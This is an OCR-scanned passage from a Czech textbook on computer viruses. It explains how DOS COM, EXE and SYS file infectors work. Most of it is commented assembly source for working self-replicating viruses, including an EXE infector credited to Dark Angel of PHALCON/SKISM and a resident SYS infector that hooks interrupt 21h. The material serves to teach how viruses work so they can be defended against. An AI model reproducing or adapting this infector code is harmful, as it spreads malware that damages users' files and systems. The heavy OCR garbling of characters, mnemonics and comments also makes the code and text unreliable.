movsw ; DS:SI -> ES:DI (obnoveni 2 B)
movsb ; DS:SI -> ES:DI (obnoveni 1 B)
;: Nastaveni nové hodnoty DTA na télo viru
; (aby nedo$1o ke zniceni parametru prikazového radku)
lea dx, [bp + offset dtal ; DTA viru
call set_dta ; vlastni nastaveni
; Replikace téla viru
mov ah, 4eh ; sluzba ”Najdi prvni soubor”
lea dx, [bp + masker] ; hledani pro “*.COM’,0
X0r cx, CX ; atributy - béZny soubor
tryanother: ; pro pozd&jsi volani sluzby ”Najdi dals$i soubor”
int 21h
jc quit ; nasSel se soubor?

Otevrfeni souboru pro rezim Cteni/zdpis (read/write)
; Pozn.: toto nebude fungovat pro soubory “read only”

mov ax, 3d02h ; sluzba ”0Otevri soubor”, rezim R/W
lea dx, [bp + offset dta + leh]l ; jméno souboru v DTA
int 21h
xchg ax, bx ; zaména rukojeti souboru do BX
Nacteni prvnich 3 B ze souboru 5
mov ah, 3fh ; sluzba ”Cti ze souboru”
lea dx, [bp + stuff] ; GloZny prostor
mov cx, 3 ; poCet bajtu
int 21h

; Test, je-1i jiz soubor infikovan (souhlasi-1i Gvodni skok
poCetné na télo viru, tj. konec souboru minus délka viru)
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(na adrese DTA:00l1a Jje uloZena délka nalezeného souboru)

mov ax, word ptr [bp + dta + lahl] ; délka souboru

mov cx, word ptr [bp + stuff + 1] ; Jmp “kam”

add cx, eov - duh + 3 ; prepocet na délku souboru

cmp ax, cx ; je-1i rovno, program je jiZz nakaZen
jz close ; ukonc€eni C¢innosti viru

; Prepocet offsetu pro Gdvodni skok
sub ax, 3 ; AX = délka souboru - 3
mov word ptr [bp + writebuffer], ax ; a Jeho zépis

Nastaveni pozice na pocCatek souboru
xor al, al ; AL = 0 (ukazatel od zacdatku)
call f_ptr ; vlastni nastaveni

Zapis novych 3 B do souboru (”jmp virus™)

mov ah, 40h ; sluZba ”Zapis do souboru”
mov cx, 3 ; poCet bajtu
Tea dx, [bp + e9] ; kompletni instrukce ”jmp virus”
int 21h
Nastaveni pozice na konec souboru
mov al, 2 ; ukazatel na konec souboru
call f_ptr ; vlastni nastaveni

; Zapis zbylého téla viru do souboru

mov ah, 40h ; sluZzba ”Zapis do souboru”
mov cx, eov - duh ; poCet bajtu
lea dx, [bp + duh] ; poCdtek viru
int 21h
Uzavreni souboru
close:
mov ah, 3eh ; sluzba ”Zavri soubor”
int 21h

; Pokus o infikaci dals$iho souboru
mov ah, 4fh ; sluZzba ”Najdi dals$i soubor”
jmp short tryanother

Zde virus vyuzivd moznosti znovu ,rekurzivné® skocit do tvodni &asti viru, tentokrat
s novym jménem nalezené obéti

Obnova plvodni oblasti DTA a predani rizeni programu

quit:

mov dx, 80h ; puvodni offset DTA = PSP:0080
set_dta: ; vlastni nastaveni DTA

mov ah, lah ; sluZzba ”Nastav DTA”

int 21h

retn ; skok na plvodni zavirovany program (*)
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Nastaveni ukazatele v souboru (lseek)

f_ptr:
mov ah, 42h ; sluZzba ”Nastav pozici v souboru”
X0or cx, Cx ; posun = CX * 65 536 + DX =0
cwd ; totéz jako ”xor dx, dx”
int 21h
retn

ObTast proménnych viru

masker db ‘*.com’,0 ; maska pro hleddni soubori
stuff db Ocdh, 20h, 0 ; pavodni prvni 3 B souboru

e9 db 0e9h ; instrukce skoku (Jjmp)

eov equ $ ; konec viru (End Of the Virus)

Nasledujici proménné jsou ulozeny v prostoru heapu (oblast mezi zasobnikem a kédem
programu) a nejsou ¢asti téla viru zapsaného do souboru.

writebuffer dw ? ; offset skoku (jmp virus)
dta db 42 dup (?) ; DTA viru
DumbVirus ENDS

END Start

Tvar DumbViru zjednodusené koresponduje s popisem typického mechanismu infikace sou-
borovgch vir uvedeném v{se (vynechana je pouze pasaz nulovani atributti, ktera umoznuje
zavirovani i soubort uréenych pouze ke ¢teni).

4.3. Konstrukce souborového viru EXE

Pro tvar programu typu EXE neexistuji Zadna omezeni tgkajici se délky programu ¢&i poctu seg-
mentt. Jedinou podminkou je urleni startovaci adresy programu a vytvoreni zasobnikového
segmentu. Samotna struktura programu je vSak mnohem slozitéjsi nez u programu *.COM.
Programovy soubor *.EXE se totiz sklada ze dvou ¢&asti, a to z bloku fidicich a relokac¢nich in-
formaci pro spusténi programu operacnim systémem a z vlastniho kodu programu. Pruni ¢ast
je tvotena tzv. hlavickou (header) a obsahuje tyto udaje:

Offset Deélka[B] Popis polozky hlavicky EXE
00h 2 Signatura souboru *.EXE (‘MZ’ nebo ‘ZM’).
2 Velikost posledni stranky [B].
2 Délka souboru *.EXE v 512 B strankdach.
06h 2 Pocet poloZek v relokacni tabulce.
08h 2 Velikost hlavicky v 16 B paragrafech.
Oah 2 MinimdIni potrebn& pamét [v paragrafech].
Och 2 Maximalni potrebna pamét [v paragrafech].
Oeh 2 Pocdtecni hodnota SS.
10h 2 Pocdtecni hodnota SP.
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Offset Deélka[B] Popis polozky hlavicky EXE

12h 2 Kontrolni soucet (zdporny).

14h 2 Pocdtecni hodnota IP.

16h 2 Pocatecni hodnota CS.

18h 2 Offset prvni relokacni poloZky.

lah 2 Uroved prekryvani (0 pro zédkladni modul).

Od offsetu 1ch nésleduje tdaj o velikosti formatované casti EXE-zahlavi a vlastni obsah relo-
kaéni tabulky. Relokaéni tabulka oznaéuje vsechna mista v programu, jejichz obsah musi byt
modifikovan podle konkrétniho umisténi v paméti.

Spusténi programu *.EXE neni zdaleka tak trivialni jako v pfipadé programu COM. Operac-
ni systém nacte hlavicku programu a uréi celkové naroky na pamét. Je-li dostatek volné pameé-
ti, pokracuje v zavadéni. Vytvoti PSP, nacte relokacni tabulku a modifikuje zavedeny kod pro-
gramu (pficteni bazové adresy zacatku programu). Nasleduje pfidéleni paméti, inicializace
registril a samotné spusténi programu. Nastaveni segmentovych registrii koresponduje s hlavi¢-
kovymi 0daji, registry DS a ES jsou pak nastaveny na adresu PSP.

Virus, ktery infikuje programy *.EXE vyuziva pochopitelné zejména tudaje EXE hlavicky. Ve
v¥Se uvedené tabulce jsou zvyraznény zakladni polozky, u ktergch virus provadi:

PrepoCet na novou hodnotu.

Mechanismus dschovy/obnovy origindlnich hodnot.

Virus miiZe samozfejmé pouzivat i ostatni polozky, zejména velikost hlaviéky &i signaturu sou-
boru *.EXE, ktera slouZi viru k vlastni identifikaci, zda spoustény program je typu *.EXE ¢&i ni-
koliv. Rovnéz nepfipocéte-li virus svou velikost k poloZce minimalni potfebné paméti, mize tim,
za urcitgch okolnosti, zptisobit nedefinovany stav operac¢niho systému.

Jak tedy vypada konstrukce viru EXE? Virus typicky pfida své télo na konec programu, uscho-
va& plvodni startovaci adresu CS:IP a pfesméruje ji na télo viru (totéz provadi i pro adresu zésob-
niku SS:SP). V EXE-hlaviéce zmodifikuje Gdaje o velikostech souboru a posledni stranky, pfip.
i hodnotu minimélni potfebné paméti. Nakonec zapiSe modifikovanou hlavicku do infikovaného
souboru na disk.

e Nerezidentni infektor souboru *.EXE v pracovnim adresari
Demo piiklad viru, kterg pro zjisténi své pfitomnosti v souboru pouziva pocatecni hlavicko-
vou hodnotu SP="DA’.

.model tiny ; dals$i moZnost TASM tvaru

.code ; segment kdédu viru

org 100h ; infektor EXE ve vychozi podobé COM
id = ‘DA’ ; identifikdtor EXE infekce

/de zacind vlastni virus
startvirus:
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call next
next:
pop bp
sub bp, offset next

Uschova registru
push ds
push es

Podstata, prevence, ochrana

zjiSténi adresy viru v paméti
korekce na originalni offset

Priprava pro skok na plvodni poCatecni instrukci (CS:IP)

push cs
pop ds
push cs
pop es

lea si, [bp + Jjmpsave?]
lea di, [bp + Jjmpsavel
movsw
movsw
movsw
movsw

DS = CS (segment viru)
; ES = CS (segment viru)

; Oschovné
; oblasti

; DS:SI -> ES:DI
; Jmpsave? -> jmpsave

;: Nastaveni nové hodnoty DTA na télo viru

(aby nedoSlo ke zniceni

mov ah, 1lah
lea dx, [bp + newDTA]
int 21h

; Replikace téla viru

lea dx, [bp + exe_mask]

mov ah, 4eh

mov cx, 7/
findfirstnext:

int 21h

jc done_infections

parametrd prikazového radku)

; sluzba ”Nastav DTA”
; DTA viru

hleddni pro ‘*.EXE’,0
; sluzba ”Najdi prvni soubor”
; maska prisludSnych atributu

;: naSel se soubor?

Nac¢teni hlavicky programu

mov al, Oh
call open

mov ah, 3fh

lea dx, [bp + buffer]
mov cx, 1lah

int 21h

mov ah, 3eh
int 21h

Test, zda je jiZz soubor

checkEXE:

; moéd pouze pro cteni
; a otevreni souboru

: sluzba ”Cti ze souboru”

Glozny prostor
Gvodni hlavicka

sluzba ”Zavri soubor”

zavirovan (porovnani SP na ”id”)



Kniha druha: Pocitacéové viry z pohledu programatora - virologa @

cmp word ptr [bp + buffer + 10h], id
jnz infect_exe ; neni zavirovan timto virem?

Pokus 0 nalezeni dalSiho souboru typu *.EXE

find_next:

mov ah, 4fh ; sluzba ”Najdi dalsi soubor”
jmp short findfirstnext

UkonCeni infikace
done_infections:
mov ah, lah ; obnova plvodni oblasti DTA
mov dx, 80h ; DTA na adrese PSP:0080
; Obnova registra (vyuzitd pro nastaveni segmentu DTA)
pop es ES -> PSP
pop ds DS -> PSP
int 21h
SpuSténi zavirovaného programu
mov ax, es ; PSP segment
add ax, 10h ; prizplsobeni pro PSP
add word ptr cs:[si + Jjmpsave + 2], ax ; novy CS
add ax, word ptr cs:[si + stacksave + 2] ; novy SS
cli zdkaz preruSeni pred manipulaci se zasobnikem
mov sp, word ptr cs:[si + stacksavel ; novy SP
mov SS, ax ; zapis SS
sti opétovné povoleni preruseni
; Vlastni skok na prvni instrukci programu

db
Jmpsave dd

Uschovné prom&nné

stacksave dd
Jmpsave?2 dd
stacksave? dd

Oeah ; "Jmp far ptr segment:offset”
? ; plvodni CS:IP

? ; plvodni SS:SP

0fff00000h ; nutné pro tento nosic¢ viru

? ; pro aschovu SS:SP

Jméno viru a ”“podpis” autora

creator

virusname db

db “[MPC]’,0,’Dark Angel of PHALCON/SKISM’,0

‘[DemoEXE] for 40Hex’,0

; Infikace programu *.EXE

infect_exe:
; Uschova nezavirovanych hlavickovych adaju
les ax, dword ptr [bp + buffer + 14h] ; Gschova CS:IP
mov word ptr [bp + jmpsave2], ax ; IP
mov word ptr [bp + Jjmpsave2 + 2], es ; CS
les ax, dword ptr [bp + buffer + 0Oeh] ; UGschova SS:SP
mov word ptr [bp + stacksave2], es ; SS

mov word ptr [bp + stacksave2 + 2], ax ; SP
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Poznamka:

Obecné plati, zZe ¢tyrbajtovd adresa typu ,segment:offset” je v paméti ulozend v obra-
ceném sledu, tj. nejprve ,offset”, pak ,segment®. Proto v kédu viru je na adresu ,pro-

)3

ménné

ukldddna vzdy offsetovd cast adresy, na adresu ,proménné+2“ pak cast seg-

mentovd. V p¥ipadé zdsobniku je tomu naopak, nebot hodnoty SS a SP jsou ulozeny

v hlaviéce programu obrdcené.

Urceni vstupniho bodu viru pro aktualizaci CS:IP a SS:SP

mov ax, word ptr [bp + buffer + 8]

mov cl, 4
shl ax, cl
xchg ax, bx

les ax, [bp + offset newDTA + lah]
mov dx, es

push ax
push dx

sub ax, bx
sbb dx, 0

mov cx, 10h

div cx

s

s

s

s

s

s

velikost hlavicky

prevod paragrafd na bajty
(ndsobeni 16)

velikost hlavicky [B] do BX

délka souboru
do DX:AX

uloZzeni délky souboru
na zasobnik

odecCteni délky hlavicky
od velikosti souboru

prevod na tvar
segment:offset
(déleni 16)

; Konec souboru je novy vstupni bod programu (na virus)

mov word ptr [bp + buffer + 14h],
mov word ptr [bp + buffer + 16h],

mov word ptr [bp + buffer + 0Oeh],
mov word ptr [bp + buffer + 10h],

Aktualizace délky souboru
pop dx
pop ax

add ax, heap - startvirus

dx
ax

ax
id

s

s

novy IP
novy CS

novy SS
novy SP
obnova délky

nezavirovaného programu

pricteni délky
viru

PrepoCet délky souboru na stranky pro aktualizaci hlavicky

adc dx, 0
mov cl, 9
push ax

shr ax, cl
ror dx, cl
stc

adc dx, ax

s

2**9 = 512
Uschova délky

urcéeni nové

délky souboru

véetné hlavicky a viru
v 512 B strénkdach
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pop ax ; obnova délky

and ah, 1 ; velikost posledni stranky (mod 512) v [B]
mov word ptr [bp + buffer + 4], dx ; novd délka a

mov word ptr [bp + buffer + 2], ax ; posledni stranka

Zde konci nejslozitéjsi éast EXE-infikace. Zbytek je standardni mechanismus, uveden(

jiz v konstrukci COM-viru, rozsifeny o zachovdni originalnich atributti a éasu vytvoreni
infikovaného souboru.

Z&pis aktualizované hlavicky programu

push cs

pop es ; obnova ES

mov cx, lah ; velikost hlavicky
finishinfection:

push cx ; Uschova poCtu B pro zapis

Xor cx, CX ; nastaveni atributd souboru

call attributes ; na béZny soubor

mov al, 2 ; méd pro cteni i zapis

call open ; a otevreni souboru

mov ah, 40h ; sluZzba ”Zapis do souboru”

lea dx, [bp + buffer] ; nova hlavicka

pop Cx ; obnoveny poCet B pro zdpis

int 21h

; Nastaveni pozice na konec souboru

mov ax, 4202h ; sluzba ”Nastav pozici souboru”

Xor cx, Cx ; na konec

cwd ; totéZ jako ”xor dx,dx”

int 21h

; Zapis zbylého téla viru

mov ah, 40h ; sluZzba ”Zapis do souboru”

lea dx, [bp + startvirus] ; poCdtek viru

mov cx, heap - startvirus ; poCet bajtu

int 21h

; Obnova Casu vytvoreni souboru 5

mov ax, 5701h ; sluZzba ”Cas a datum souboru”

mov c¢x, word ptr [bp + newDTA + 16h] ; cas

mov dx, word ptr [bp + newDTA + 18h] ; datum

int 21h ; vlastni nastaveni

; Uzavreni souboru
mov ah, 3eh ; sluZzba ”Zavri soubor”
int 21h

Obnova puvodnich atributt souboru
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mov ch, 0 ; horni ¢ast atributd
mov cl, byte ptr [bp + newDTA + 15h] ; dolni Cast
call attributes ; a jejich nastaveni

; Pokracovéni procesu infikace dal$iho programu
mo_infections:
jmp find_next ; pokus o infikaci dalSiho souboru

Vlastni otevreni souboru

open:
mov ah, 3dh ; sluZzba ”0tevri soubor”
lea dx, [bp + newDTA + leh] ; jméno souboru v DTA
int 21h
xchg ax, bx ; BX = rukojet souboru (file handle)
ret

;: Vlastni nastaveni atributd souboru (chmod)
attributes:

mov ax, 4301h ; sluzba ”Atributy souboru”
lea dx, [bp + newDTA + leh] ; Jméno souboru v DTA

int 21h

ret

ObTast proménnych viru
exe_mask db‘*.exe’,0 ; maska pro hleddni soubori

Nasledujici proménné jsou opét (jako v predeslém pripadé COM-viru) uloZzeny v prosto-
ru heapu a nejsou tedy ¢&asti téla viru zapsaného do souboru.

heap:

newDTA db 42 dup (7) ; DTA viru
buffer db lah dup (?) ; Cteci buffer
endheap: ; konec viru

end startvirus

Instrukce xchg maji v tomto p¥ipadé uzitng charakter instrukce mov. Jeji pouziti je dano hle-
diskem optimalizace, nebof instrukce xchg ma krat$i operaéni kod.

Uvedeny piiklad viru neosettuje, zda soubor, ktery méa ptiponu EXE, je skuteéné program
typu *.EXE (moZnost chyby napf. pfi pfejmenovani souboru apod.). Tento test vétsina virt
provadi uz z diivodu odlieni rozdilného zptisobu infikace u programt *.COM a *.EXE. Prin-
cipem testu je porovnani signatury v EXE-hlavi¢ce na povolené systémové hodnoty.

cmp [bp + buffer], ‘“ZM’ ; prvni moZznd hodnota
je je_to_EXE
cmp [bp + buffer], ‘MZ° ; druha moZnd hodnota
je je_to_EXE

neni_to_EXE:

je to EXE:
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YN

e Zarovnani velikosti EXE-souboru na hodnotu nejblizsiho segmentu
Tento zajimavy zpGsob infikace pouziva fada virti pro usnadnéni manipulace se souborem pfi
zavirovani. Délka viru je proménna. Hlavni vjhodou zarovnani délky souboru na nejblizsi na-
sobek segmentu je ten, Ze pocatetni hodnota IP je vzdy nulova. Z tohoto diivodu odpada
nutnost znat aktualni pozici viru v paméti pro pfepocet offsetu proménngch. Druhou vgho-
dou je zjednoduSena moznost pfepoctu hlavickovich tdaji pfimo v paragrafech.

Uvedené priklady vira COM a EXE charakterizuji zakladni virové postupy a vzajemné systé-
mové rozdily MS-DOSu. Znaéna &ast souborovich virli provadi oba postupy, kdy teréem infi-
kace daného viru jsou obé varianty spustitelngch souborti.

4.4. Konstrukce souborového SYS-viru

Ptiponou SYS jsou v opera¢nim systému MS-DOS oznacovany tzv. ovladace zatizeni (drivery).
Instalace téchto soubortl je provadéna operacnim systémem pfi jeho zavadéni. PoZzadavek na
instalaci ovladace je dan piikazem ,,DEVICE=...“ v souboru CONFIG.SYS. Pro ovladace plati,
Ze nemohou byt spustény po startu operacniho systému z ptikazového fadku podobné jako pro-
gramy typu *.COM ¢&i *.EXE. Existuji oviem vyjimky ve formé sharewarovgch utilit, které toto
zavedeni umoznuji. Podobnou ¢&innost provadéji i ovladacové viry (napf. tunelujici virus Dir II).

Vzhledem k jisté komplikovanosti konstrukce ovladace a podstatné mensi frekvenci pfenost
souborli *.SYS mezi pocitaci oproti souborim *.COM a *.EXE, neni tato skupina pfili§ hojné
zastoupena. Predstavitely jsou napt. viry Dark Avenger, Career of Evil & Fu Manchu.

Struktura ovladace je opera¢nim systémem pevné definovana. Operaéni systém MS-DOS ro-
zeznava dva druhy ovladacl podle zafizeni, pro ktera jsou uréeny:

- Znakové orientované ovladace (sekvencni pfistup).

— Blokové orientované ovladace (pHimy pfistup).

Znakova zafizeni zpracovavaji data postupné v sekvenénim potadi, nejcastéji znak po znaku
(klavesnice, tiskarna apod.). Blokova zafizeni umoziuji operacnimu systému zpracovavat data na
nich ulozena v libovolném potadi. Pfistup k nim je nejéasté&ji realizovan po blocich, resp. fyzickgch
sektorech (RAM-disk apod.). Souborové SYS-viry maji pravé znakové orientovany charakter.

Operaéni systém spolupracuje s ovladaéem zafizeni nasledovné: MS-DOS vytvoii pozadavek
na provedeni dané operace a adresu tohoto poZzadavku preda fidicimu podprogramu ovladace
prostiednictvim registrit ES:BX. Ridici podprogram zafadi pozadavek do fronty pozadavki
(fronta ma nejéastéji déelku 1) resp. uschové adresu poZadavku a pfeda fizeni zpét Dosu. MS-
DOS pak vola provadéci podprogram ovladace, ktery provede poZadovanou operaci spolu
s nastavenim p¥ipadnych vstupnich parametr.

Vlastni ovlada¢ zafizeni obsahuje dvé asti: zéhlavi a télo ovladace.

e Zahlavi ovladace

Predstavuje standardni rozhrani, které zabezpecuje komunikaci mezi télem ovladace a pro-
gramem, ktery sluzbu ovladace pozaduje. Vyznam jednotlivich polozek je nasledujici:
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ti:

Offset  Deélka[B] Popis polozky zahlavi ovladace

Ukazatel na nasledujici ovladac.

2 Atributy ovladace.

2 Adresa ridiciho podprogramu.
08h 2 Adresa provddéciho podprogramu.

8 Jméno ovladacCe/PoCet jednotek.

Ukazatel na nasledujici ovlada¢ obsahuje adresu nésledujiciho ovladace ve zfetézeném se-
znamu (ve zdrojovém textu ovladale). Hodnota ,-1% reprezentuje ukoncéovaci hodnotu po-
sledniho ovladaée v seznamu. Konkrétni hodnota tedy zavisi na tom, zda soubor obsahuje je-
den ¢&i vice ovladacl. Pt zavedeni ovladade do pameéti pfepiSe operaéni systém ukoncovaci
hodnotu na skute¢nou adresu tak, aby byla zachovana kontinuita zfetézeného seznamu do
paméti jiz nainstalovanych ovladact.

Atributy ovladace slouZi k uréeni typu a zakladnich vlastnosti ovladace. Nap¥. hodnota 15. bi-
tu urluje, zda se jedna o znakové orientovany (,1%) & blokové orientovany (,0“) ovladac.

Ridici podprogram (strategy routine) uschovéava adresu pozadavku, kterou pozdgji vyuziva
vlastni provadéci podprogram (interrupt routine) kédu ovladace.

Obsah polozky ,Jméno ovladate/Pocet jednotek” zavisi na tom, je-li ovlada¢ deklarovan
jako znakové &i blokové orientovany. Jedné-li se o znakové orientovany, pak ,Jméno ovla-
dace” obsahuje identifika¢ni jméno. Je-li jméno kratsi nez osm znakii, musi byt doplnéno me-
zerami. U blokové orientovanych ovladadii polozka ,,Poéet jednotek® obsahuje pocet zatize-
ni, které ovlada¢ obsluhuje. Jeji naplnéni je viak nepovinné, nebof operalni systém prepise
tuto hodnotu udajem, ktery vrati ovladac pfi své inicializaci.

Télo ovladace
Je tvofeno, jak jiz bylo vy3e naznaceno, fidicim a provadécim podprogramem. Ridici pod-
program je volan vzdy v okamziku, vznikne-li poZadavek na komunikaci s ovlada¢em, aby za-
jistil ischovu adresy pozadavku (ES:BX). Provadéci podprogram pak zajistuje finalni prove-
deni pozadavku.

Vlastni realizovany poZadavek se sklada, podobné jako struktura ovladace, opét ze dvou &as-
hlavicky a téla poZzadavku.

Hlavicka pozadavku
Je datova struktura o délce 13 B:

Offset Deélka[B] Popis polozky hlavicky pozadavku

00h 1 Délka celého poZadavku v bajtech.
0lh 1 Cislo jednotky (pro blokovd zarizeni).
02h 1 Kéd prikazu (00h - 18h)

03h 2 Stavové slovo (nastavi ovladacd).
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Offset  Deélka[B] Popis polozky hlavicky pozadavku
05h 8 Rezervovano.
0dh ? Télo poZadavku.

Kod prikazu obsahuje &islo pozadované operace (0 - inicializace ovladace apod.).

Stavové slovo vraci visledek provedené operace, urcuje, zda doslo k chybé &i zda byl po-
zadavek Uspésné vykonan (napf. 8103h — chyba ,neznamy ptikaz“ ¢ 0100h - operace
Gispé&sné provedena).

e Télo pozadavku
de rovnéZ datova struktura, kterd bezprosttedné néasleduje za hlavickou poZadavku. Konkrét-
ni podoba je zavisla na zvolené operaci. Pro viry je klicovou operaci inicializace ovladace (kod
piikazu ,,0%). Télo pozadavku v tomto pfipadé vypada nasledovné:

Offset Deélka[B] Popis polozky téla pozadavku
0dh 1 Pocet jednotek (pro blokova zarizeni).
Oeh 4 Koncovd adresa rezidentni Casti koédu.
12h 4 Adresa pole ukazateld BPB.
16h 1 Cislo zafizeni (pro blokova zaFizeni).

Koncové adresa rezidentni ¢asti kédu ovladace vymezuje rozsah koédu, kterg musi zistat
rezidentni v paméti. Paméf od udané adresy bude uvolnéna pro dalsi pouziti. Obsahuje-li za-
vadény soubor vice ovladall, bere operacni systém jako smérodatng daj ten, kterg vrati po-
sledni inicializovang ovladac.

BPB - blok parametri BIOSu, vyuzivang pfi provadéni fyzickgch perifernich operaci. P#-
kladem je ¢teni z diskety, kdy BPB obsahuje podmnozinu dat, které se nachazeji ve struktu-
fe zavadéciho (boot) sektoru.

V predchozich tfech tabulkach jsou opét zvgraznény poloZky, které virus prepisuje novg-
mi hodnotami. Klicem infikace soubort *.SYS je skutec¢nost, Ze ovlada¢ je do paméti umis-
tén na pfislusng segment od offsetu nula, kde je zavedeno zdhlavi ovladace, bezprostfedné
nésledované vlastnim télem. Virus pfi infikaci tedy jednoduse zkopiruje své télo na konec in-
fikovaného souboru *.SYS a pfesméruje ukoncovaci ukazatel na ,virovg“ ovladaé¢. Virus ne-
musi uschovavat Zadné originalni hodnoty, jako tomu bylo v pfipadé virti typu COM a EXE.
Ve svich dusledcich je tedy infikace SYS-soubort snazsi.

¢ Rezidentni (stealth) infektor souboru *.SYS

.model tiny
.code
org 0 ; direktiva prekladace - pocCatek SYS-souboru
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Zahlavi ovladace

header:

next_headerdd -1 ukazatel na dalSi ovladac (ffff:ffff)
attribute dw 8000h ; znakové orientovany ovladac

strategy dw offset _strategy ; ridici podprogram
interrupt dw offset _interrupt ; provadéci podprogram
namevirus db ‘SYS INF ; jméno ovladace
endheader:

Télo ovladace

; dJméno viru a ”"podpis” autora
author db 0,’Simple SYS infector’,0dh,0ah
db ‘Written by Dark Angel of Phalcon/Skism’,0

Ridici podprogram

_Strategy: ; UGschova adresy poZadavku
push si ; Uschova SI
call next_strategy ; zjisténi adresy
next_strategy: ;oviru
pop si ; VvV opaméti

Uschova adresy poZadavku do proménnych viru
mov cs:[si + offset savebx - offset next_strategyl], bx
mov cs:[si + offset savees - offset next_strategyl, es
pop si ; obnova SI
retf

Nasledujici provadéci podprogram je vlastnim virovim télem.

Provédéci podprogram

_interrupt: ; instalace viru do paméti
push ds ; Uschova segmentovych registri
push es ; (ostatni registry nejsou potreba)
push cs

pop ds ; DS = segment viru

call next_interrupt ; zJjiSténi adresy
next_interrupt: s viru

pop bp 5V opaméti
Ridici a provddéci podprogramy jsou voldny nezdvisle, proto kazdd ¢ast musi sama
zjisfovat umisténi viru v paméti. Stoji za povsimnuti, ze povaha Fidictho a provadéciho
podprogramu je skutecéné typicky ovladacovd. Jadro viru je tvofeno virovou obsluhou
preruseni 21h.

/jisténi adresy hlavicky poZadavku (naplnéni ES:BX)
les bx, cs:[bp + savebx - next_interrupt]

"Default” nastaveni stavového slova na chybu
mov es:[bx + 37, 8103h ; "neznamy prikaz”
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cmp byte ptr es:[bx + 21, 0 ; poZadavek na inicializaci?
jnz exit_interrupt ; neni-1i, virus konci...
Prednastaveni koncové adresy rezidentni &&sti koédu
mov es:[bx + 10h], cs ; segmentovd cast = kdéd viru
lea si, [bp + header - next_interrupt]
mov es:[bx + 0eh], si ; offsetovd Cast = pocatek viru
Predpoklddana chybova hodnota stavového slova
dec byte ptr es:[bx + 3] ; “"chyba instalace”
Test, je-1i jiZz virus aktivni v paméti
mov ax, 0bOfh ; vytvorena virovd sluzba Dosu
int 21h
cmp cx, 0bOfh ; navratova hodnota nové sluZzby
jz exit_interrupt ; konec, je-11 jiz virus v paméti

Findlni nastaveni koncové adresy a stavového slova
add es:[bx + 0eh], offset endheap ; konec viru
mov es:[bx + 37, 100h ; “operace provedena”

Virus v pFipadé netspésné instalace vraci hodnotu koncové adresy rezidentni ¢asti ko-
du viru CS:0 a v pfipadé tGspésné instalace hodnotu konce viru i s heap oblasti promén-
noch viru (na rozdil od vise uvedenych p¥ikladti virtt COM a EXE)!

/jisSténi a Gschova adresy origindlni obsluhy preruSeni Dosu
Xor ax, ax
mov ds, ax ; DS = 0 (tabulka preruSovacich vektor()
les bx, ds:[21h * 4] ; adresa obsluhy int 21h do ES:BX
mov word ptr cs:[bp + oldint2l - next_interrupt], bx
mov word ptr cs:[bp + oldint2l + 2 - next_interrupt], es

Presmérovani obsluhy preruSeni Dosu na télo viru
lea si, [bp + int21 - next_interrupt] ; offset viru

cli ; zdkaz preruSeni (bude manipulace s interrupt table)
mov ds:[21h * 47, si ; prepis int 21h handleru

mov ds:[21h * 4 + 2], cs ; segment viru

sti ; povoleni prerudeni

UkonCeni provddéciho podprogramu ovladace
exit_interrupt:
pop es
pop ds
retf

Virova obsluha preruseni Dosu (21h)

int2l:
cmp ax, 0bOfh ; test pritomnosti viru v paméti?
jnz notinstall
xchg cx, ax ; nastaveni priznaku pritomnosti
exitint2l: ; ukoncCeni obsluhy preruseni

iret
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Virus neni aktivni v paméti
notinstall:
pushf voldni pavodni obsluhy int 21h
db 9ah ; S navratem do téla viru
oldint2l dd ? ; (sekvence pushf, call far ptr...)
pushf ; UGschova nastavenych priznaki
push bp ; Uschova
push ax ; registri
; Prepsani pavodnich priznakd novymi (v zasobniku)
(nutné pro pozdéjsi korektni ndvrat z prerusSeni)
mov bp, sp prenastaveni zdsobnikového ramce
; flags (priznaky) [bp+10]
; CS:IP [bp+6]
; flags new (nové) [bp+4]
; BP [bp+2]
AX  [bp]
mov ax, [bp + 4] naCteni novych priznakl
mov [bp + 10], ax ; prepsani starych priznaku

Obnova registrd a vrcholu zasobniku

sluzba ”Najdi prvni soubor pres FCB”?

pop ax
pop bp

popf

; Byla provedena sledovand sluzba?
cmp ah, 11h

Jjz findfirstnext

cmp ah, 12h

jnz exitint2l

findfirstnext:
cmp al, Offh
Jjz exitint2l

push bp
call next_int21
next_int2l:
pop bp
sub bp, offset next_int2l
Uschova viech registru
push ax
push bx
push cx
push dx
push ds
push es
push si
push di

sluzba ”Najdi dal$i soubor pres FCB”?

N

byla sluzba ”Najdi prvni/dals$i
; konec, jestliZe ne...

Uspésna?

GUschova BP

;o zjisti
okamZitou adresu
viru

; v paméti
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V nasledujicim tseku virus operuje se strukturou FCB (,File Control Block® — L Ridici
Blok Souboru®). Tento blok obsahuje zdkladni tdaje o pristupovaném souboru. Pro vi-
rus jsou zajimavé zejména udaje o jménu, p¥iponé a délce souboru.

Po provedeni volani sluzeb Dosu 11h a 12h je naplnéna struktura FCB uloZena v ob-
lasti DTA

Zjisténi FCB via DTA

mov ah, 2fh : sluzba ”Cti adresu DTA”

int 21h ; do ES:BX

push es

pop ds ; DS:BX ukazuje na DTA
Nastaveni ukazatele BX na zdakladni FCB

cmp byte ptr [bx], 0ffh ; jde o rozSireny FCB?

jnz regularFCB ; ne, zakladni FCB

add bx, 7 ; ano, posun na zakladni FCB

regularFCB:
mov cx, [bx+ldh] ; nacteni velikosti souboru
mov word ptr cs:[bp + filesize], cx ; a jeji Uschova

Hodnota 7 v instrukci ,add bx, 7 udava velikost rozsitené &asti FCB, za kterou se na-
chazi vlastni zdkladni FCB. Na offsetu FCB:001d se pak skutecné nachdzi ddaj o veli-
kosti souboru, i kdyz TechHelp zahrnuje tuto polozku do nedokumentované ,reserved“
oblasti a odkazuje na offset FCB:0010.

Nastaveni registru ES a “direction flagu”

push cs
pop es ; ES = segment viru
cld ; nastaveni sméru zpracovani retézcu (viz dale)

Konverze jména souboru z FCB do ASCIIZ retézce
(ASCIIZ retézec = ASCII retézec ukonCeny znakem ‘0°)

lea di, [bp + filenamel ; cil

lea si, [bx + 1] ; zdroj - Jjméno souboru
cmp word ptr [sil], ‘0C’ ; neinfikovat CONFIG.SYS
Jjz bombout

Vlastni kopirovani (DF jiZ nastaven vySe)

mov cx, 8 ; kopirovat max. 8 znakl
back:
cmp byte ptr ds:[si], ° ° ; je to mezera?
Jjz copy_done ; pokud ano, pak konec kopirovani
movsb ; DS:ST -> ES:DI
loop back
Kopirovadni tecky za jméno souboru
copy_done:
mov al,

stosh ' . AL -> ES:DI



@ Moderni pocitacové viry Podstata, prevence, ochrana

Kopirovani pripony souboru a jeji test na hodnotu ”SYS”
mov ax, ‘YS’

lea si, [bx + 9] ; zdroj - pripona souboru
